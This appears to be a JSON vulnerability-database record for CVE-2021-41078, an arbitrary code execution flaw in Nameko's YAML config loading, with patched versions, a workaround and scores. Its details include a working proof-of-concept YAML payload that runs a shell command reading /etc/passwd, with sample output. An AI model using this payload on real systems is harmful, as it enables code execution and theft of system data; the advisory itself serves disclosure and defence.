{"id":"CVE-2021-41078","aliases":["GHSA-6p52-jr3q-c94g","PYSEC-2021-383"],"url":"https://o3.security/vulnerability/CVE-2021-41078","summary":"Nameko Arbitrary code execution due to YAML deserialization","details":"### Impact\n\nNameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:\n\n``` yaml\n# malicious.yaml\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n```\n\n``` shell\n$ nameko run --config malicious.yaml test\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n... \n```\n\n### Patches\n\nThe problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.\n\nVersions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.\n\n### Workarounds\n\nThe vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.","published":"2021-10-26T13:15:07.557Z","modified":"2026-07-09T10:52:07.794696Z","cvss":{"score":7.8,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},"epss":{"score":0.01537,"percentile":0.72526,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"PyPI","name":"nameko","fixedVersion":"2.14.0"},{"ecosystem":"PyPI","name":"nameko","fixedVersion":"3.0.0rc10"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/nameko/nameko"},{"type":"EVIDENCE","url":"https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-41078"},{"type":"WEB","url":"https://github.com/nameko/nameko/releases/tag/v2.14.0"},{"type":"WEB","url":"https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-09T10:52:07.794696Z"}}